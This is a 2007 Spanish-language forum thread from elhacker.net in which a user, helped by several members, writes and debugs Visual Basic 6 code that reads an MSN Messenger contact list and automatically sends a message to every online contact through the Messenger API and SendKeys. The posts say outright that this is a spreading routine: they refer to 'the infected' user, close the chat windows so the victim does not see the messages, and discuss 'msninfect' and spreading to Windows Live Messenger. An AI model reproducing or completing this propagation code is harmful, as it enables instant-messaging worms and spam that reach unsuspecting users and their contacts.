Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: krosty_ufc en 19 Septiembre 2007, 22:07 pm



Título: Copiar lista de contactos msn
Publicado por: krosty_ufc en 19 Septiembre 2007, 22:07 pm
Buenas
Mi problema es que me tira error 91 al ejecutar esto:

Código:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger
 
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName"
End If
Next
End Sub


Nose cual es el error :S parece estar todo bien.

Aver si alguien sabe

Salu2


Título: Re: Copiar lista de contactos msn
Publicado por: nhaalclkiemr en 19 Septiembre 2007, 22:34 pm
Tienes que leer los errores y mirar la linea...como pongas un post por cada error pufff...yo al menos saturaría el foro.

Error 91, Variable de tipo Object o la variable del bloque With no está establecida

Despues de eso miras la linea y ves como estás usando una variable definido que no estableciste con SET...te faltaba Set MsgrUIA = New MessengerAPI.Messenger

El código te queda así:

Código
  1. Option Explicit
  2. Public WithEvents MSN As MessengerAPI.Messenger
  3. Public WithEvents MsgrUIA As MessengerAPI.Messenger
  4.  
  5. Private Sub Form_Load()
  6. Set MSN = New MessengerAPI.Messenger
  7. Set MsgrUIA = New MessengerAPI.Messenger
  8. Dim user As IMessengerContact
  9. For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1
  10. If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
  11. List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName"
  12. End If
  13. Next
  14. End Sub
  15.  

Saludos ;)


Título: Re: Copiar lista de contactos msn
Publicado por: krosty_ufc en 20 Septiembre 2007, 03:21 am
Te agradezco, ya va perfecto.
Si lo que pasa es que no ponia la linea del error :S
Solo decia
Citar
Error 91, Variable de tipo Object o la variable del bloque With no está establecida

Bien ahora yo quisiera que mande un mensaje a uno por uno de esa lista, lo que probe hacer es esto, pero no va :S

Código:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger
 
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName
End If
MSN.InstantMessage List1
SendKeys (" prueba ")
SendKeys ("{ENTER}")
Next
End Sub

Aver alguien que sepa de Vb que me dice.

Salu2 y muchas gracias


Título: Re: Copiar lista de contactos msn
Publicado por: Tengu en 20 Septiembre 2007, 15:14 pm
Pregunta hasta el punto de agregarlos a la lista, funciona???
por q tal vez te este fallando y no se produzca el envio uno por uno ....yo ahora no puedo probarlo por q toy en el trabajo y no tengo vb a mano y sino cheka esto y ve al "sub msninfect"

http://foro.elhacker.net/index.php?topic=181032.msg862609 (http://foro.elhacker.net/index.php?topic=181032.msg862609)

ta l vez puedas comparar

PD: Yo no se de visual basic


Título: Re: Copiar lista de contactos msn
Publicado por: krosty_ufc en 21 Septiembre 2007, 00:40 am
Si, lo vi, lo que passa es que si pongo dos veces el "for each" no me deja :S
Asi que no puedo poner esto
Código:
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
Ya que ya lo tengo en:
Código:
For Each user In MsgrUIA.MyContacts

Salu2


Título: Re: Copiar lista de contactos msn
Publicado por: krosty_ufc en 21 Septiembre 2007, 02:19 am
Ya pude hacerlo :
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger


Citar
Private Sub Form_Load()
msninfect:
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each ConTacto In MsgrUIA.MyContacts
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys (" prueba ")
SendKeys ("{ENTER}")
End If
Next
End Sub

Pequeño problema ahora,
Primero: Solo alcanza a mandar el mensaje a unos pocos ya que carga demasiado rapido las ventanas.
Segundo: Abre demasiado rapido las ventanas por lo que coinsume mucha cpu.
Tercero: No se cierran las ventanas por lo que el infectado ve el mensaje

Ahora como se podria hacer par que entre ventana y ventana al abrir pasen 5 segundos, y la ventana una ves mendada el mensaje se cierre ?

Aver si alguien sabe.

Salu2


Título: Re: Copiar lista de contactos msn
Publicado por: Tengu en 21 Septiembre 2007, 02:46 am
busca algo sobre la funcion "sleep" y para cerrar solo dale  un sendkeys con % y F4 y listo..



Título: Re: Copiar lista de contactos msn
Publicado por: Tengu en 21 Septiembre 2007, 02:58 am
o....


Código:
Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub

y cuando quieras esperar pones este code

Código:
Wait (1)


Sacado del code q esta en el hilo q antes postee


Título: Re: Copiar lista de contactos msn
Publicado por: krosty_ufc en 21 Septiembre 2007, 04:04 am
Bien si conoscia lo de la funcion sleep, pero era que no me di cuenta que podia usarla aca xDDD
Y sobre lo de alt f4, no sabia como ponerlo jaja
Y sobre el de "wait (1)" no lo usaba porq solo era 1 seg xD pero agrege 5 d esos n ose me abai ocurrido jajaja.
Bien lo que hize fue lo siguiente:



Código:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
Wait (1)
Wait (1)
Wait (1)
Wait (1)
Wait (1)
SendKeys ("%{F4}")

End If
Next
End Sub

Anda de lujo esepto por el alt + f4 que en mi maquina aprece no andar, porq me tira a la ventana de cerrar win, nose porque.
Pruebenlo algien dsd su pc aver si le funciona bien y comenta aver que tal plis.

Salu2 y muchas gracais por la ayuda


Título: Re: Copiar lista de contactos msn
Publicado por: Tengu en 21 Septiembre 2007, 04:40 am
antes del sendkeys alt+f4 puedes probar poniendo esto:

Código:
appactivate "Conversación"


Título: Re: Copiar lista de contactos msn
Publicado por: krosty_ufc en 21 Septiembre 2007, 09:33 am
Quedo perefectisimo va de 10:

Código:
Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
 Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
Dim ConTacto As IMessengerContact
For Each user In MsgrUIA.MyContacts
If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then
MSN.InstantMessage (user.SigninName)
SendKeys ("prueba")
SendKeys ("{ENTER}")
AppActivate "Conversación"
SendKeys ("%{F4}")
Wait (1)
Wait (1)
Wait (1)
End If
Next
End Sub

Se agradece la ayuda ;)

Salu2


Título: Re: Copiar lista de contactos msn
Publicado por: Spider-Net en 22 Septiembre 2007, 17:00 pm
un detalle nada más, sé que es una tontería, pero por qué pones

Wait(1)
Wait(1)
Wait(1)

??????????

No es más sencillo poner Wait(3)???

Sé que el tema no va de esto, pero me ha resultado raro y quería saber si lo ponías por algún motivo en especial ;)

Saludos.


Título: Re: Copiar lista de contactos msn
Publicado por: Tengu en 22 Septiembre 2007, 20:11 pm
sisi asi tambien se puede hacer, calculon q lo puso tres veces solo para probar... y creeria q en una etapa de optimizacion de codigo lo convertira en un Wait(3).


Título: Re: Copiar lista de contactos msn
Publicado por: krosty_ufc en 23 Septiembre 2007, 00:31 am
Citar
un detalle nada más, sé que es una tontería, pero por qué pones

Wait(1)
Wait(1)
Wait(1)

??????????

No es más sencillo poner Wait(3)???

Porque me estaba andando mal y probe poneindo lso waits asi.

Salu2


Título: Re: Copiar lista de contactos msn
Publicado por: zXxOsirisxXz en 28 Septiembre 2007, 13:27 pm
Esto solo funciona con el MSN viejo, con el ejecutable, pero alguien sabe las APIs del WLM el ejecutable para lograr hacer lo mismo?


Título: Re: Copiar lista de contactos msn
Publicado por: krosty_ufc en 28 Septiembre 2007, 18:12 pm
Ami me funciono tambien para el live e.
Salu2


Título: Re: Copiar lista de contactos msn
Publicado por: zXxOsirisxXz en 29 Septiembre 2007, 04:07 am
Ami me funciono tambien para el live e.
Salu2

Osea, si, funciona para el el Live Messenger.. pero para k funcione necesitas tener el ejecutable o instalado el MSN viejo. Pero es k conozco mucha gente k borra el MSN viejo y ya con k lo borren, el programa no funciona. Por eso la pregunta.

Salu2


Título: Re: Copiar lista de contactos msn
Publicado por: Tengu en 29 Septiembre 2007, 18:19 pm
nono la verdad es q para hacer el spread en WLM yo usaria sendkeys ya q no se como usar las apis en el


Título: Re: Copiar lista de contactos msn
Publicado por: nhaalclkiemr en 29 Septiembre 2007, 22:00 pm
La API es del MSN viejo pero funciona para todas las versiones...

Si que se necesita tener el viejo MSN, o por lo menos la API que hace falta, pero muy pocos no la tienen...

Saludos ;)